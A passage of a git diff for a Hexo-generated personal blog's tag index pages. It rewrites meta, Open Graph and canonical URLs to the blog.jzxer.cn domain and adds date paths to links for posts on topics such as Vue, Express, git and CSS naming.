     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/tags/beyond/">
+    <meta property="og:url" content="blog.jzxer.cn/tags/beyond/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="标签: beyond | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/tags/beyond/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/tags/beyond/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/我是愤怒.html">我是愤怒</a></p>
+        <p class="article-headline-p"><a href="/2017/01/07/我是愤怒.html">我是愤怒</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/我是愤怒.html" target="_self">阅读全文</a>
+            <a href="/2017/01/07/我是愤怒.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -498,7 +498,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/光辉岁月-间奏.html">光辉岁月-间奏</a></p>
+        <p class="article-headline-p"><a href="/2016/11/20/光辉岁月-间奏.html">光辉岁月-间奏</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -508,7 +508,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/光辉岁月-间奏.html" target="_self">阅读全文</a>
+            <a href="/2016/11/20/光辉岁月-间奏.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/tags/commonjs/index.html b/public/tags/commonjs/index.html
index 840d02b..345b344 100644
--- a/public/tags/commonjs/index.html
+++ b/public/tags/commonjs/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/tags/commonjs/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/tags/commonjs/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/tags/commonjs/">
+    <meta property="og:url" content="blog.jzxer.cn/tags/commonjs/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="标签: commonjs | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/tags/commonjs/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/tags/commonjs/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/commonJS和AMD-CMD.html">commonJS和AMD/CMD</a></p>
+        <p class="article-headline-p"><a href="/2017/08/23/commonJS和AMD-CMD.html">commonJS和AMD/CMD</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/commonJS和AMD-CMD.html" target="_self">阅读全文</a>
+            <a href="/2017/08/23/commonJS和AMD-CMD.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/tags/cookies/index.html b/public/tags/cookies/index.html
index 0008f2f..8d75799 100644
--- a/public/tags/cookies/index.html
+++ b/public/tags/cookies/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/tags/cookies/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/tags/cookies/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/tags/cookies/">
+    <meta property="og:url" content="blog.jzxer.cn/tags/cookies/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="标签: cookies | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/tags/cookies/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/tags/cookies/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/sessionStorage-localStotage-AND-cookies.html">sessionStorage localStotage AND cookies</a></p>
+        <p class="article-headline-p"><a href="/2017/08/16/sessionStorage-localStotage-AND-cookies.html">sessionStorage localStotage AND cookies</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/sessionStorage-localStotage-AND-cookies.html" target="_self">阅读全文</a>
+            <a href="/2017/08/16/sessionStorage-localStotage-AND-cookies.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/tags/css命名规范/index.html b/public/tags/css命名规范/index.html
index 09d0e24..1a6c020 100644
--- a/public/tags/css命名规范/index.html
+++ b/public/tags/css命名规范/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/tags/css命名规范/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/tags/css命名规范/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/tags/css命名规范/">
+    <meta property="og:url" content="blog.jzxer.cn/tags/css命名规范/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="标签: css命名规范 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/tags/css命名规范/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/tags/css命名规范/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/css的命名规范.html">css的命名规范</a></p>
+        <p class="article-headline-p"><a href="/2017/07/17/css的命名规范.html">css的命名规范</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/css的命名规范.html" target="_self">阅读全文</a>
+            <a href="/2017/07/17/css的命名规范.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/tags/es6/index.html b/public/tags/es6/index.html
index fd7ebd6..8b9cdbf 100644
--- a/public/tags/es6/index.html
+++ b/public/tags/es6/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/tags/es6/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/tags/es6/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/tags/es6/">
+    <meta property="og:url" content="blog.jzxer.cn/tags/es6/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="标签: es6 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/tags/es6/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/tags/es6/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/sync-和async.html">sync 和async</a></p>
+        <p class="article-headline-p"><a href="/2017/07/21/sync-和async.html">sync 和async</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/sync-和async.html" target="_self">阅读全文</a>
+            <a href="/2017/07/21/sync-和async.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/tags/express/index.html b/public/tags/express/index.html
index ac62533..5b22e95 100644
--- a/public/tags/express/index.html
+++ b/public/tags/express/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/tags/express/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/tags/express/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/tags/express/">
+    <meta property="og:url" content="blog.jzxer.cn/tags/express/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="标签: express | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/tags/express/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/tags/express/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/learn-express.html">learn express</a></p>
+        <p class="article-headline-p"><a href="/2017/12/20/learn-express.html">learn express</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/learn-express.html" target="_self">阅读全文</a>
+            <a href="/2017/12/20/learn-express.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/tags/git/index.html b/public/tags/git/index.html
index 084162f..67d7380 100644
--- a/public/tags/git/index.html
+++ b/public/tags/git/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/tags/git/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/tags/git/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/tags/git/">
+    <meta property="og:url" content="blog.jzxer.cn/tags/git/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="标签: git | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/tags/git/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/tags/git/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/GIT使用攻略.html">git使用技巧</a></p>
+        <p class="article-headline-p"><a href="/2017/04/15/GIT使用攻略.html">git使用技巧</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/GIT使用攻略.html" target="_self">阅读全文</a>
+            <a href="/2017/04/15/GIT使用攻略.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/tags/hexo/index.html b/public/tags/hexo/index.html
index 257bb8b..bfe7430 100644
--- a/public/tags/hexo/index.html
+++ b/public/tags/hexo/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/tags/hexo/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/tags/hexo/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/tags/hexo/">
+    <meta property="og:url" content="blog.jzxer.cn/tags/hexo/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="标签: hexo | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/tags/hexo/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/tags/hexo/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/hexo搭建博客.html">hexo 搭建博客初体验</a></p>
+        <p class="article-headline-p"><a href="/2017/06/16/hexo搭建博客.html">hexo 搭建博客初体验</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/hexo搭建博客.html" target="_self">阅读全文</a>
+            <a href="/2017/06/16/hexo搭建博客.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -498,7 +498,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/material主题使用攻略.html">material主题使用攻略</a></p>
+        <p class="article-headline-p"><a href="/2017/02/15/material主题使用攻略.html">material主题使用攻略</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -508,7 +508,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/material主题使用攻略.html" target="_self">阅读全文</a>
+            <a href="/2017/02/15/material主题使用攻略.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/tags/hybird/index.html b/public/tags/hybird/index.html
index 9b06cbe..b3e210f 100644
--- a/public/tags/hybird/index.html
+++ b/public/tags/hybird/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/tags/hybird/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/tags/hybird/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/tags/hybird/">
+    <meta property="og:url" content="blog.jzxer.cn/tags/hybird/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="标签: hybird | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/tags/hybird/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/tags/hybird/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/hybird.html">hybird</a></p>
+        <p class="article-headline-p"><a href="/2017/10/11/hybird.html">hybird</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/hybird.html" target="_self">阅读全文</a>
+            <a href="/2017/10/11/hybird.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/tags/index.html b/public/tags/index.html
index 3fc0346..fec5156 100644
--- a/public/tags/index.html
+++ b/public/tags/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/tags/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/tags/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/tags/">
+    <meta property="og:url" content="blog.jzxer.cn/tags/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="tags | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/tags/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/tags/index.html" />
     
 
     <!-- Structured-data for SEO -->
diff --git a/public/tags/js-methods/index.html b/public/tags/js-methods/index.html
index e05cf7b..c124a51 100644
--- a/public/tags/js-methods/index.html
+++ b/public/tags/js-methods/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
